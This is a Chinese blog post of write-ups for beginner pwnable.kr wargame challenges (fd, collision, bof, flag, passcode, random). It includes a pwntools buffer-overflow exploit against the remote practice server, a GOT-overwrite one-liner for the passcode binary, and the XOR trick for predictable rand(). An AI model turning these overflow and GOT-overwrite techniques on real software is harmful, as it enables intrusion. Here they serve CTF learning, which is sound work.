pwnable.kr pwn题题解

没错 我又来了   开了新坑。。。。。 虽然 说不搞pwn了  但是搞了。。。

gogogo

第一题   挺简单的题。。。。

 

然后我们 看一下 目录都有什么

如果  能够 读到 flag  那就是另外一个故事了。。

行吧 代码审计吧。。。。

read   第一个参数 0的话 是输入  2是 输出    那么 让fd=0 然后让buf  等于那个值就行

很简单的  argv[1] 就是我们命令行的第一个参数

argv[0] 是我们运行文件的路径 

那么 我们就可以运行得到flag了

得出flag

collision

这个题 也是代码审计

然后这个题 前16个字符 如果是 1 2 3 4 5 都不对 。。。  1   我学长除5 对啦。。

万万没想到。

bof

终于是一道 正常的pwn题了  呜呜呜 我哭辣

本来这些保护把我吓一跳 然后    直接溢出就可以了  2333.

exp

from pwn import*

io=remote('pwnable.kr','9000')
payload='a'*0x34+p32(0xcafebabe)
io.sendline(payload)
io.interactive()
io.close()

得到flag

第四题 flag

这个题   当我看到是 upx壳的时候 我就感觉这道题不简单   然后我就用 命令行直接拖

 

得到flag

然后就是  passcode  这道题还是蛮有意思的

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

这个题看起来是个送分题鸭 可是 在我仔细看的时候发现了

我擦咧 你的 取地址符呢

没有取地址符 那他输入的地方去哪了

然后 问了一下旁边做过的dalao  然后就有了大概的思路

又因为 got表可写 然后我们就可以这样子 

把password1 的参数给  覆盖成 printf的 got 地址 我们再写  再用scanf 写入到 system 里面 那么 就可以 把 printf 的got 写进去了

我们的参数    那么就成功pwn掉了

system:080483E3    == 134514147

所以脚本可以写成

python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode

效果是

https://blog.csdn.net/qq_20307987/article/details/51303824

 

第五题 是random  这个题 应该是水题   伪随机 这个东西很久之前就接触了 先看一下题目源码

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

然后 我们自己写程序 看一下第一个会打印什么  1804289383

然后我们异或一下就可以了

得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值